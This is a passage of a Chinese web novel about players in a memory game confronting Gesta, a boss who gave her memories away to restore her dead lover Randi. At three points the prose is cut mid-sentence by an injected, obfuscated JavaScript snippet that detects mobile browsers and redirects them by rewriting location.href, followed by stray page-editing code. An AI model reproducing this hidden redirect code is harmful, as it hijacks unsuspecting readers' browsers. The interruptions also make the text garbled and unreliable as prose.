出于礼貌,格斯塔优先打破了沉默。 她说要给她们安排住处,一下子来了这么多人,她要找一些行李出来。那些行李都已经放了很久没有人使用,她需要一点时间提前打理。 说明自己的去向后,她让“客人们”自便,一切需要都可以跟她提。 然后离开。 对这些突然到来的这些“不速之客”,她什么都没问,就像一个真正的没有感情的东道主NPC,只在乎玩家们的起居。 不太对劲。雷铭想起他一开始见到的格斯塔,那个时候的格斯塔真心实意地为自己的记忆发愁,远比现在像个真人,现在她像个程序固定的NPC。 发生什么了? 祁晚不知道这一变化,她只觉得休息这种事完全不着急。 最大的当务之急是游戏啊! 借用秋原的能力,祁晚将略缩图光球藏在手心里,本来想着直接给格斯塔看看,看完她也许就能恢复一些记忆;再不然就直接叫她去花园里,见到兰迪自然什么都解决了——但她思考了一会,还是作罢。 她觉得兰迪的故事有疑点,但说不清楚究竟哪里不对,唯一能确定的就是她确实是被格斯塔杀死的。 那是个漫长的故事,已经过去了很久,兰迪的讲述也是轻描淡写而怀念的。只有在说起刺向她心脏的那一刀时,她的眼中才出现了如有实质的恨意和经久不灭的不可置信。 她们当年一定很幸福,不然兰迪不会记这一刀这么久。 因为幸福,才更痛。 于是祁晚什么也没说,想着果然还是先跟秋原和雷铭他俩交流一下信息。 目送格斯塔离开,雷铭先开了口,“格斯塔女士自己不想恢复记忆。” 祁晚:“啊?” 雷铭:“秋原,你把那段声音给她也播放一下,音量记得调小点……手套那么脏?摘掉!” 秋原塞着一嘴面条,听命起身的姿势相当干脆利落,一次性手套都没摘就直接伸向了祁晚的太阳穴,听见雷铭提醒才摘掉。 祁晚免去了被抹一脸番茄酱的不幸。 她也看向秋原,顺手抄起一张餐巾纸怼到秋原脸上,“擦擦,不知道的还以为你吃人去了。” 秋原:“唔……” 不知道摘手套,不知道擦脸,语言能力有碍,她真是跟带了个孩子似的。 好在雷铭不会像柳州与一样溺爱秋原,并且善于教导,有这哥们在,她带孩子能轻松点……要不干脆全扔给他算了? 秋原不知道她在想什么,一手胡乱擦着脸,另一手已经搭上了她的太阳穴。 祁晚一震。 那声音过于嘈杂混乱,她只能听见在说什么“不能”。 但她至少能听出来一件事。 “这是……格斯塔的声音吗?”秋原已经打算抽手了,但她按住了秋原,道:“再放一遍。” 秋原很听话地又放了一遍。 柳州与嘴里的东西还没咽完,含含糊糊地吐槽:“给人当录音机用呢啊?听一遍得了……” 祁晚选择性忽略她的话,仔细辨别着这段令人头痛的音频。 ——确定了,这就是格斯塔的声音。 她不擅长分辨内容,但比别人更擅长辨认音色。 有了她的盖章,雷铭就更确定了,道:“我之前仔细听了内容……简单总结就是,格斯塔女士自己不想恢复记忆。” 雷铭:“但是不知道原因,所以我认为应该先找到她不想恢复记忆的原因。” 很合理的思路。 如果只看别墅内的线索,做出这样的判断确实合理。 但花园里的情报还没有综合进来。 祁晚道:“这个原因……兰迪或许知道?” 雷铭:“细说。” 他还没见过兰迪,祁晚她们就已经带回了有关兰迪的情报,果然玩家碰头是对的。 祁晚言简意赅地复述了一遍兰迪讲的故事。 很俗套的真假千金:假千金抢走真千金一切财产、权势,限制真千金的活动范围,也就是说从外界看来她甚至抢走了真千金的身份。还将真千金当成金丝雀豢养了起来,并且在最后杀死了真千金。 而格斯塔留下了大量的画作,画作中残留着感情。温情的笔触是真实的,画中人的笑容是真实的,从根本上不可调和的矛盾也是真实的。这对真假千金的相处模式很奇怪,比起亲人更接近恋人。 当感情深到一定地步,人会难以辨认它。难以辨认,也无法归类。 虽然对感情进行分类本来就挺多余的。 这个故事其他人都是第一次听,三个人听得聚精会神。 祁晚讲完了,一摊手,“我听见的就是这样,尽量综合着想吧。”从兰迪嘴里只得到这些,也只能得到这些了。 她可不想出去再挨兰迪的揍,会死的。 雷铭跟柳州与沉思起来,秋原放空。 半晌,两人同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346530|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到什么,抬头:“哎……” 雷铭抬起一只手,“你先说。” 柳州与也没客气,直接道:“首先不能认为兰迪说的全是实话。” 祁晚点头,“那肯定。” 这故事,她从听到就感觉不对劲,只是一直没时间想。 譬如:兰迪既然已经知道格斯塔在夺权,为什么不反抗?毕竟血缘来看,她才是门罗家的正统千金。真的想抢应该很容易。 再譬如:兰迪为什么身体不好?是从小如此,还是后来经历了什么? 还有最重要的:她们两个17岁那年,门罗夫妇为什么义无反顾地离开? 虽然不知道那个时候的格斯塔是否清楚,但门罗夫妇肯定是知道的,他们知道格斯塔并非亲生——所以他们为什么会放心来自养女的保证?甚至可以说是受了养女的怂恿放弃亲生女儿离开? 这些异常之处,众人一起讨论也许会讨论出结果来。 于是她道:“你发现啥了?说。” 而柳州与微微偏过头,提出了祁晚没想到的一点,“根据我看过的真假千金文,夺得身份和地位的假千金吧……一般不会把真千金留太久,而且她们下场都不太好……” 她生前是各种狗血宅斗言情狂热爱好者来着。 反正,那些文里的真千金多数都会失智疯狂变成恶毒女配,各种陷害污蔑假千金,更显得假千金没有高贵的血脉却有高贵的心灵,所以最后的下场都不算很好,死的残的疯的被轮的都有。 即使是什么都没做错的,假千金为了巩固自己的地位也不会让她们活很久。 但自称身体不好的真千金兰迪活到了57岁高寿,而且是被当成金丝雀养。 什么叫养金丝雀?吃穿用度都奢侈,生活条件异常优渥,养在纯金打造的笼子里,除了自由和权力什么都不失去才叫金丝雀。 啥都没有的那叫非法监禁。 兰迪从一出生就是条件优渥的大小姐。如果连她自己都说格斯塔对她很好,那就是真的好,从身到心都没有一点亏待的那种。 柳州与道:“所以很不对劲啊,要真是她说的什么假千金夺权,格斯塔早该除掉她了……摁在庄园里当金丝雀养着,听着像强取豪夺的霸道总裁会干的事……” 祁晚:“……有道理。” 真挺离谱,但是真挺有道理。 真的是……少看一本小说都出不来这思路…… 柳州与说完了,然后是雷铭。 雷铭的思路要更阴暗一点,不,阴暗很多。 很显然,他也觉得大权在握的假千金没有留着羸弱的真千金的道理,他道:“我们对这个世界的背景还没有全部了解,不知道有没有什么特殊背景,也不知道她们家族的地位和财富是靠什么维持。” “会不会是靠某些很玄学的东西呢?比如留在血脉里的什么东西,甚至直接就是用血……之类的?” “所以格斯塔想掌权就不能除掉兰迪,还必须要好好伺候她活着。门罗夫妇也知道一旦她们的亲女儿没了,家族就无法维持,所以才放心离开。” 祁晚:“啊……也有道理……” 就是,从真假千金/强取豪夺变成血统论了。 真的是……少看一本日漫都出不来这思路…… 秋原还在那头放空,但脑子放空了嘴也没闲着——她把祁晚和雷铭剩下的面全吃了。 祁晚只想叹气。 还不如赌一把直接去问格斯塔,大不了就是boss暴走直接输掉,她去下一场得了。 线索太少,或者说太乱。格斯塔究竟为什么不想恢复记忆,仍旧是个毫无头绪的悬案。 夜幕已经降临了。 这是她们在这里迎来的第一个夜晚。 48. 肖像(16) 时间来到深夜。 多来了两个人,卧室就要重新分配了。二楼一共只有三间卧室,却有五个人,于是格斯塔让出了自己的主卧,这间卧室面积最大,祁柳秋三人挤了进去。她本人跟雷铭一人睡一间小的。 祁晚不需要睡觉,秋原也是,以柳州与的精神力来说,她本来也可以不用睡。 奈何白天那一波实在是消耗太大,柳州与急需休息,脑袋沾枕头就着。 精神恢复速率是睡眠快于清醒快于昏迷,柳州与的精神力至今也才恢复到百分之六十多,确实需要休息。 祁晚一进屋就拖了个垫子坐在门口,静静地听着外边的动静。 很快就什么都听不到了。 “没声了。”外面的声音彻底消失后,她轻手轻脚地站起来开门,“走,咱们去叫上雷铭……” 叫上雷铭,然后…… 然后怎么样,其实她也没想好,大家一起商讨一下或者出去找点线索都行,总之时间不能浪费……再不济她也得把E级教材给雷铭,有生战力多一个算一个。 如果可以的话,她还想把更高级的教材也找来……她学不会可以给别人嘛。 心里各种思绪盘桓着,她将门把手一拧到底。 门没开。 她不可置信地来回拧动把手,又用力推拉了几下,不可抑制地发出了一些动静,但顾不得那么多了。 这门就是打不开。 她记得很清楚,她们进卧室的时候没有锁门。 那就只能是游戏boss干的了。 格斯塔看起来确实异常的温和无害,但到底也是个游戏boss呢……是会阻拦她们完成游戏的啊。 木门不透明,秋原也不可能出去。 祁晚陷入苦恼,想问问秋原还有没有别的办法。 秋原原本也在思考,但若有所感似的突然抬起头,朝窗外看去。 窗外只有一成不变的灰雾。 祁晚压低声音:“怎么了?” 秋原:“有人在看着我们呢。” …… 格斯塔站在客卧窗前。 她所在的这间客卧与主卧还有一楼画室都是同一个朝向,可以看见花园。 今晚是圆月,月色分外明朗,于是星子稀少,月光照得整片花园熠熠生辉,园中无人,只有微风。 以前,她会跟兰迪一起,坐在夜间的花园里。赏月、赏花、品茶、数星星……有时阴天,她们就点起灯火,聊点什么,或者就静静地坐在一起……干什么的时候都有。 很令人怀念的时光。 格斯塔从高处俯瞰,花园里有一处地方是灰色。 她记得,那是她白天回忆起来了的地方。现在那里属于她,兰迪失去了那里的掌控权。 她皱起眉,强制将那部分从自己脑海里剔除出去。这样,等白天到来,她又会什么都不记得了。 片刻后,那片灰色的区域恢复了颜色。 这样就代表她将掌控权和能量都还给兰迪了。 能这样做,她要感谢一个人。 …… 那是她第一次来到这里的时候。 她本以为人死灯灭,她的生命就此终结,没想到死后真的有天国。 天国还跟她生前生活的地方一个样子,熟悉得令人心安。 即使知道了天国的存在,她知道兰迪比她早去世十五年,也没奢望还能见到,只觉得死后非常轻松。 兰迪应该已经投入新的人生了,摆脱这一生病弱累赘的身体,迎接下一场人生自由健康的身体。她觉得那很好,兰迪肯定会很高兴。 所以见到兰迪的亡魂时,她特别诧异。 她见到兰迪时,兰迪的灵魂蜷缩在画室的角落。好像是睡着了,神情却痛苦而无助,如同陷入了一场永恒的噩梦。整个人都是半透明的,不像她那么轻松自由,看起来比生前更虚弱。 不知什么原因,兰迪的灵魂好像并不完整。 她不敢碰,她怕兰迪一碰就散。 然后她背后来了一个人。 来者无声无息的,格斯塔甚至不知道她是什么时候来的,只记得是个长相很可爱但很高的女孩。 女孩来了就开始说话,好像在念资料似的,“兰迪.门罗……先天性疾病导致身体虚弱,一定程度还连累了精神力强度。人生有点波折锻炼一下会好一点,但你把她养的太顺遂了。唔,再加一条去世时间早。精神力逸散也相当严重呢……” “能找回来就算不错了,直接唤醒难度太大……至少目前做不到。” 格斯塔转过身去。 来者是个东方面孔的圆脸女孩,笑得很温柔,还在说话,道:“但你应该可以救她。” 格斯塔完全是懵的,只听明白了“可以救她”这四个字。 对方继续道:“我解释一下,意识储存装置是在末世到来后才开始收集人类意识,所以像你们这种死在末世前的就比较麻烦,尤其她这种特别虚弱的,很难救回来。” 什么末世?什么意识储存装置?是在说什么? 对方忽略她的迷茫,还在说:“但我看了很多人,你们两个算是特例。” “你们两个的人生重合度非常高,高得有点夸张了。” “所以嘛,主神推测,你的精神力应该可以直接用来补全她的灵魂。你把你跟她相似度最高的那部分精神力给她,应该可以让她醒过来。” 格斯塔依旧没听明白,但知道自己见到了希望,小心翼翼地问道:“请问……怎么样能给?精神力又是什么?” 女孩眨了眨眼。 她忘了这些对普通人来说不是基础知识了,她需要尽量直白表达。 于是她道:“唔,我想想怎么说……你们的可共享精神力,就是……简单理解吧!就是你们的共同记忆。” “再直白一点,就是你把你的记忆给她,后果是你会失忆,失去了大量精神力后你还会变虚弱,但她大概率会醒过来。” “有一定的失败概率。不过你放心,如果唤醒失败我们会把精神力还给你,不会有什么损失的。” 格斯塔不在乎后果,她只觉得这是好事,是在帮她。 她从来没想过兰迪死了也那么痛苦,更没想到自己还有机会保护她,以至于声音都有点颤抖,“没事,我都接受。但是,为什么……帮我?” “也不算吧,”圆脸女孩笑道:“我们呢,是打算做点这方面的实验,确认一下这部分精神力是否真的可共享。” “顺便再研究一下怎么让这种分享更稳定。” “但是目前是没有规范化的办法的,想稳定兰迪的灵魂,只能靠你自己。” 女孩露出一个非常有说服力的微笑,“可能会有点难——你要试试吗?” 格斯塔毫不犹豫:“我试!” 只要兰迪不再困在噩梦里,这些精神力不还给她也无所谓。 这是她能为她做的最后一件事。 圆脸女孩早知道格斯塔会同意,却没想到她这么急,“哦,哦,你先不要急……我马上……” 她手边浮起光屏,十指翻飞地不知道调试着什么,调试到一半她又想起什么,抬起头,道:“哦,对了,还有一点。我们将这一部分称为‘共享精神力’——‘共享’嘛。” “所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351245|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你应该不会一直失忆,每隔一段时间会有一段清醒的时间。” “管理者薇建议可以在这段时间给自己下点暗示,阻止失去记忆时的自己寻找记忆,也许能提高被补全者的灵魂稳定性。” 管理者薇又是谁不重要,总之解释很细致,建议很全面。 抽取记忆的进程这便开始。 格斯塔感受着自己脑海里的记忆逐渐消失,好像又走了一遍人生的最后几年。而兰迪的身体逐渐凝实、脸上痛苦无助的神情逐渐消散。 不自觉地,她有点想落泪。 她饱受折磨的爱人,会在这个世界获得真正的幸福吗? 然后她想起来一件事。 刚才这女孩说……实验?她没自恋到认为这实验是为她而设,但毫无疑问,她从中获益。就算只是因为这一点获益,她也心怀感激。 于是她还是问了,“我能不能问一下……为什么会做这样的实验?” 她本以为女孩不会回答,但事实与她想的不同。 女孩露出一个很可爱的笑容,略微歪头,毫不犹豫道:“可能是因为我们也有想要救的人吧。但是要你们帮忙试验,很抱歉。” 格斯塔:“没事。” 抽取她的记忆没有用多久。完成时,她感觉眼前所有的景象都变得陌生。 只有圆脸女孩因为不是她与兰迪的共同记忆,她还记得很清楚。 “嗯,这就算准备完成了。”圆脸女孩点点头,退后两步准备离开,挥了挥手,“我走了哦,拜拜。” 她离开前,格斯塔叫住了她。 “请问,您怎么称呼?” 圆脸女孩一愣,“啊,你不用担心以后,也不用想办法联系,我们都会看着你的。” 格斯塔:“我不是那个意思,我就是想问问你叫什么……我该怎么,称呼你?” 圆脸女孩:“名字就不必了。称呼的话……你就叫我引导者吧。” …… 回忆结束。 格斯塔又在窗边站了一会,花园的大铁门发出悠长的吱呀声,有人推开大门,脚步轻快地走了进来。 那头熟悉的金发披着月光,寂静的花园便有了生气。 兰迪手上挎着一个篮子,距离太远,格斯塔看不见篮子里有什么,可能是些她喜欢的小玩意。从前她常给她买,但兰迪总遗憾那不是她自己买的。 也没办法,她以前尽量不让兰迪出门,兰迪脆弱的心脏承受不起一点刺激。 直到现在,兰迪才终于摆脱了病弱的身体和羸弱的灵魂,获得了自由的机会。 还好,她看起来很开心。 格斯塔希望她能一直这么开心下去。 共享精神力后造成的长期失忆很痛苦,格斯塔的整个自我都被剥离出去,灵魂像是被抛上高空。 有时她会觉得,她的身体好像变成了一张薄纸,有人撕碎了这张纸,撒得满地都是,还顺便喷了水,于是她只能黏黏糊糊地沉在地面上。 但她不在乎,这个现状她可以继续维持下去。 事实上,她也一直维持着这个平稳的现状。 ——如果没有那群“玩家”的话。 …… 听着外面没有声音了,雷铭也准备出门。 他其实很困,只要躺下马上就能睡着,但玩家碰头的第一个晚上拿来睡觉……也太浪费了,既然想赢那就没有浪费时间的理由。 他一直贴在门上,刚才他听见主卧那边传来很轻微的门把手声了,祁晚她们肯定出来了。 于是他轻手轻脚地打开门。 格斯塔穿着一身黑色的睡衣,站在他门口。 49. 肖像(17) 现在的格斯塔看起来跟白天不太一样。 容貌身形明明都没有变化,但雷铭就是觉得不一样了。 变的是……气质? 很玄的一种东西,很难说。 白天的格斯塔看起来有点懦弱:她说话很慢,声音也低,有点温吞,但也很礼貌;做事也慢,温和细心,任劳任怨地把他们这些玩家照顾的很好。像个没有自主思想的人偶,只会顺着玩家的要求来。 而现在的她…… 该说不说,看着她,雷铭有点打怵。 一改白天温吞的模样,现在的她目光虽平静,却锐利。如同平静的水面下暗潮汹涌,自带一种威严。 她什么都不用说,但你知道你绝不能得罪她——这时的她,看起来才像是这个游戏的主人。 才过没多久,发生什么了? 不知对方来意为何,但雷铭反应很快,“格,格斯塔女士……您好!我,那个,我想去趟卫生间。您这是?” 他的小卧室并没有单独的卫生间,这个要求是很合理的。 格斯塔:“嗯。” 雷铭松了口气。 但格斯塔并没有让开。 雷铭背后已经被冷汗打湿了,“女士?那个,我有点憋不住了……” 格斯塔终于抬起头,看着他,语气依然很礼貌,“我知道,但是,抱歉。” 要维持现状,玩家必须第一个排除出去。 雷铭快蹦起来了,“等,等一下!有什么事您慢慢说,我们是来帮您的啊?记忆很快就会有进展的……” 他的话来不及说完。 格斯塔的手搭上了他的肩,道:“谢谢,真的很感谢你们。但没必要。” “我的记忆是我主动交出去的,如果收回,会对另一个人的生活造成损害,我不愿意承担那个后果。” “我也不想拿回我的记忆。” “你们是变数,我不能留你们在这里。” 说完这句,格斯塔就收回了手,补充了一句,“尤其您,是绝不能留的。”有人会讨厌。 被搭上肩的那一刻,雷铭就什么都听不见了。 他动弹不得,好像有人拿着一个巨大的针管从他的耳朵穿进去,一通搅动之后把他的脑浆子连带意识全抽走了。 根本无力反抗,他的脑海一片空白。 物理意义上的一片空白。 ——他刚才在干嘛来着? 这是哪?看起来像是在别墅里,装修风格低调奢华,有股老钱风,他打一辈子工也买不起——这是他可以住的地方吗? 他抬起头,眼前是个黑发女人的背影,这人是谁? 不,不对……他病了,正在找药吃。还特别饿,家里的吃的都吃光了,他要去买一些回来。生病了还一定要出门也是无奈,最近生病的人太多,外卖都没人送了…… 还有人说自己收到了奇怪的短信,全球播撒病毒什么的,很新型的诈骗手段……不能是真的吧? 他好像有什么事要做……什么来着? 那黑发女人回头看他,道:“一楼门没锁,院门也没锁,您直接走就可以了。” 雷铭不自觉地就听了她的话,身体开了自动导航似的往楼下走,“哦,好……我知道了,谢谢您。” 他觉得自己像是踩在棉花上,脑子也变成了棉花,轻飘飘的,脚步虚浮地下了楼。 下楼,开门,进花园,打开铁门,出去,一气呵成。 …… 花园的藤椅上,兰迪很开心。 她把自己带回来的小玩意都在桌子上摊开,很兴奋地一个个翻看,像终于得到了心爱玩具的小孩子。 ——这都是她自己挑的,嘿嘿。 以前格斯塔也会给她买,也都是她喜欢的,可那终究不是她亲手挑的,她也不能出门,总有些遗憾在。 现在这些遗憾也算是弥补了。 不知为何,她只能在花园和地下室里活动,住了一辈子的别墅怎么也进不去——跟生前正好相反,生前她多数时候只能在屋子里待着,天气好温度合适的时候才能出门,那多数的傍晚和前半夜。 可能人生就是要有遗憾吧——现在的她精力充沛,力量强大,可以去任何地方。 只是别墅进不去而已,反正她也待腻了,她对此接受良好。 挑选了半天,她将一个水蓝色的宝石发卡卡在头发上,感觉不错,准备去水池边看看。 她刚走到水池边,就听吱呀一声,别墅的门开了。 兰迪很错愕地抬起头。 谁?难道是…… 然而出来的并不是她所想的人。 是个男人。 男人的个头比她矮一点点,丑人一个。脸上表情异常空白,走路姿势也很不对劲。 兰迪皱起眉。 这人走得好像个鬼啊?好吓人? 而且最重要的,她讨厌男人,所以别墅里的佣人向来没有一个男人。为什么现在会有一个男鬼从里面走出来?哪来的? 那可是她的地盘,格斯塔怎么会放她讨厌的人进去? 啊,不对,格斯塔已经不在这里了……她老想着那个把她杀了的坏女人干什么? “男鬼”也没在意她,兀自退开铁门走了。 兰迪一个人站在风里凌乱。 …… 推开铁门走出去的一瞬间,一阵冷风打在脸上,雷铭如梦初醒般地打了个寒战。 他干嘛呢啊!? 不是?这不对!他为什么莫名其妙地就听话了?离大谱!格斯塔对他做什么了? 他原地抓狂,想拉开大门再回去。 然而根本不给他挣扎的机会,冷漠的播报声响起。 【玩家雷铭,遗忘游戏失败】 【请进入下一场游戏】 一道熟悉传送门出现,但在他脚下。 雷铭:“……” 根本来不及多思考,一阵熟悉的失重感后,他出现在了那片熟悉的黑暗中,身边悬浮着一个熟悉的绿色光球。 他努力深呼吸,然而还是气得翻了个白眼,“……该死。” 他连自己怎么输的都不知道! 但他被淘汰的过程祁晚她们应当听见了,希望能给她们提供些思路,别跟李岚林那里似的一波全被带走就算行。 绿色光球发出播报声。 【开启引路模式】 【请玩家跟随游戏点,去往下一场游戏】 雷铭:“……算了,走吧。” 按目前这几场游戏的人员,玩家恐怕并不是随机分配,他大概很快就会再遇到祁晚她们了。 …… 祁晚听得汗都下来了。 雷铭话说到一半就停了,之后再说话时就显得很不对劲,是发生什么了?为什么像什么都不记得了一样? 他见到了格斯塔,格斯塔做什么了?都这个点了,游戏boss不睡觉跑出来清除玩家……还是说晚上就是到了格斯塔的狩猎时间了? 白天兰迪抓人,晚上格斯塔抓人……是这个意思吗?那她逃进别墅不是全赶上了吗?什么破事? 早知道她们不往房子里来了啊!? 更可怕的是,那个脚步声朝她们的房间来了。 祁晚弹起来,努力保持着不发出声音。因为床上睡不下,格斯塔给她打了个地铺,此时她直往自己的被窝里冲,声音低而急促,“快!回去睡觉,咱们不能开门!” 秋原也无声无息地往床上去,“唔……哦!” 秋原上床的动静把柳州与弄醒了,她迷迷糊糊地睁眼,不知道发生了什么,下意识地开口便问:“怎么了……” 离她最近的祁晚“啪叽”一下捂住了她的嘴。 祁晚声音压到最低,“闭嘴!睡觉!” 柳州与乖乖闭嘴。 …… “咚——” 有人在敲门。 “咚——” “咚——” 敲门声不急不缓,不轻不重。 无人开门,于是敲门声一直没停,很奇怪,光听声音就能想象到门外人现在从容的模样。 房间里静得只剩下呼吸声。 柳州与刚醒,仍保持着懵圈的状态,但迫于情势没敢开口。 怎么回事?发生什么了?谁在敲门?为啥不能开门? 好恐怖啊! 过了好一会,敲门声停了。 祁晚竖起耳朵听着。 走了吗?还是发现她们不肯开门,要换别的方法了? 等了好一会也没有脚步声,格斯塔没走——可能是要换别的方法了。 祁晚静悄悄地起了身,点亮小夜灯,朝门口走去。 柳州与:“!” 秋原:“?” 祁晚先做个了“安静”的手势,然后竖起大拇指,又比了个“OK”。 这一番比划当真莫名其妙,秋原很认真地观察了一番。 这几个手势虽然是常见手语,但并不是按人类聋哑人的规范标准使用,完全是祁晚即兴比划的,她无法解读——怎么居然还有这种交流方式? 人类真神奇。 柳州与快速眨了几下眼睛,也没弄明白祁晚想表达什么。 保持安静,还OK……OK啥呢? 干嘛啊这是? 在两人迷茫的目光中,祁晚走到门后站定,坚定地看向她俩,点了点头,又比了一个“OK”。 柳州与:“?” 啥啊? 但看着祁晚期待的目光,她还是点了点头,回了个“OK”。 秋原看起来要过载了。 人类居然可以靠如此简单的手势沟通… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361194|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …吗?到底在表达什么? 真是高效!她可得好好学学…… 祁晚刚刚站定,门口便传来一声叹息,“是睡着了吗?” “那就只能……” 只能?只能怎样?祁晚站在门后,秋柳两人躺在床上装睡,三人全都绷紧了全身。 “咔哒——” 门开了。 一身黑衣的格斯塔出现在门口。 祁晚站在门后看不见她,柳州与半张脸埋在被子里,悄悄把眼睛睁开了一点缝,借着小夜灯的光亮观察格斯塔。 她看起来好不一样啊? 白天的她气质像个忧郁懦弱的画家,做事风格像逆来顺受的家庭主妇;而现在的她完全不同,不怒自威,从容不迫,像个大权在握的企业家。 也比白天的时候有精神多了。 要不是长相身材都没变,她简直难以想象这是同一个人。 格斯塔走到了她们床尾,环视整间屋子。 这个屋子里住了三个女孩,她记得房间里的布置,也记得她们的名字——柳州与和秋原睡在床上,柳州与在靠墙的一边,秋原在靠窗的一边;祁晚则打地铺,睡在床与墙中间的空地,稍不注意,下床的柳州与就会踩到她。 她一开始觉得有人睡地上不太好,但三个女孩执意要睡在一起,还让她早点休息。 关系很好、很贴心、很善良的女孩子们。 她们是真心地想要帮她,可惜,她不需要。 如果不是在这样极端的情况,她应该不介意跟这些年轻的女孩们交个朋友,请她们在门罗家好好地度个假。 “睡觉怎么灯都不关……”她笑着摇摇头,那笑容很慈爱像面对着一群玩得太嗨结果忘了关灯的孩子,“可惜必须让你们走,也不知道还能不能见到……” 她小心翼翼地跨过祁晚的地铺,抬手拉上小夜灯的灯绳,准备先把灯关掉,然后再进行消除记忆。 反正柳州与就在她手边了,她一抬手就能碰到。 关灯前,她想再看看女孩子们的睡颜,便一个一个看过去。 柳州与,秋原,祁…… 祁晚的铺位上是空的。 祁晚将褥子卷成乱七八糟的长条塞在被子里,捏了个头的形状放在枕头上,用被子盖住,还弄得乱糟糟的。伪装成里面有人,只不过睡姿不太老实的样子。 屋里灯光昏暗,格斯塔直到此刻才发现,地铺里根本没有人。 格斯塔先是愣了一下,然后很快反应过来什么,立刻将手伸向柳州与。 柳州与眯着的眼睛瞬间睁开,因为紧张,瞪得像个灯泡,她一个翻身避开格斯塔的手。 格斯塔又愣了一下。 然后她身后传来一声巨响。 祁晚怕地太滑跌倒——出这种乌龙那可真是太笑话了——所以她发力的那只脚没蹬在地上,而是蹬在墙上,此时撞开门猛地弹出去,身姿像一只矫健的猎豹。 格斯塔连着惊了两次,根本来不及反应身后,祁晚绞住了她的脖子。 柳州与扑棱一下坐起来,“成功了!” 祁晚:“你快点!还没完呢啊!” 柳州与终于明白祁晚之前那几个手势是在表达什么了。 有了上次的经验,她这次的速度不知道快了多少。比上次更多且更坚韧的银丝涌出,束缚住了格斯塔想要抬起的手。 格斯塔突然感觉失去了对自己身体的掌控力。 也不是动弹不得,就是……没办法调动自己的精神力了。 因为“共享记忆”实验,她得到了一部分操控“共享记忆”的能力,刚才就抽走了雷铭的记忆——用引导者的说法,那叫精神力。 柳州与这些丝线很诡异,她用不了那个能力了。 祁晚勒着人,心里直叹气。 游戏boss一共就两个,挨个被她卡了一遍脖子……真希望她还有通关的机会,更希望通关以后不会被她俩公报私仇合伙掐死……希望吧。 柳州与做完束缚,精神力咔吧一下掉到18%,直接瘫了。秋原眼疾手快地往她背后塞了枕头,于是她还能保持坐姿。 柳州与全身无力,两眼发昏,内心怒吼:她头好痛啊! 有了柳州与的束缚,这样就算是保险了,祁晚很放心地松开了手。 然后她尽量轻地扶格斯塔在床边坐下,双手合十,恨不得给格斯塔磕一个,“对不起哈姐……那个,咱们都是文明人,别总想着动手嘛。” “然后,我们真的没有恶意的……有话好好说,说开了就好了嘛,您看怎么样?” 格斯塔脖子还有点隐隐作痛,失去对自己精神力的掌控更是没有安全感,从容的表情有点裂开。 她什么时候动手了? 难道不是你们先动手的吗? 还怎么样,有这么求人的吗? 50. 肖像(18) 然而格斯塔现在也反抗不得——那男的太好对付,她松懈了。来这边以后她下手也有所犹豫,没想到这几个女孩居然会有精神控制的手段,反而给她反制了。 半晌,她叹了口气。 她不说话,祁晚当她默认。 得罪都得罪了,接下来必须得办点能解决问题的实事才好将功折罪。祁晚的脑瓜子飞速运转,回忆着刚才格斯塔跟雷铭说的话。 格斯塔的记忆是她主动交出去的,如果收回,会对另一个人的生活造成损害,所以她不想拿回记忆——会损害谁?怎么个损害法? 她的记忆一开始为什么要交出去?有人必须要使用她的记忆?谁要用?用来干嘛? 玩家是变数,所以不能留在这里——什么变数?变什么了?为什么是变数?格斯塔是想保持什么不变? 还有最后一条,雷铭尤其不能留下——为什么?是他触发什么了吗? 祁晚开启排除大法。 这地方除去玩家就只有两个人,就是格斯塔跟兰迪呢。玩家肯定不可能,剩下的猜也猜不到别人头上去。 想了想,她决定慢慢来,道:“我和柳州与从花园里过来时,碰见了兰迪小姐……我觉得,她跟您之间可能有些误会。” 格斯塔坐得很直,居高临下地看着祁晚,“你想说什么?” “关于那个有可能存在的误会,我想问问是因为什么?”祁晚笑着,语气相当客气。 格斯塔不语,表情很硬。 柳州与斜眼过去,觉得祁晚笑得简直称得上谄媚,大美女谄媚,还谄媚得如此专业,有点恶心…… 然而祁晚心里只有游戏,一个问题不成就换下一个,继续道:“还有这个记忆的问题——您是一定不想拿回来,是因为怕对兰迪小姐造成影响吗?” 格斯塔表情依旧没动,但眼神有点变化。 祁晚心说有戏,肯定就是这样。也不管别的了,张嘴就开始瞎编,“我觉得兰迪小姐不会介意的——您可能不知道,我和柳州与在花园里时跟她见面时谈过。” “她其实也很想进别墅的,要不我们俩要怎么知道地下室可以进来嘛,就是她告诉我们路的。我觉得她应该也很想见您。” 柳州与半死不活地靠在枕头上,听祁晚满嘴跑车。 ——哪来的对话?还指点路线?她俩明明就被兰迪追的屁滚尿流的。 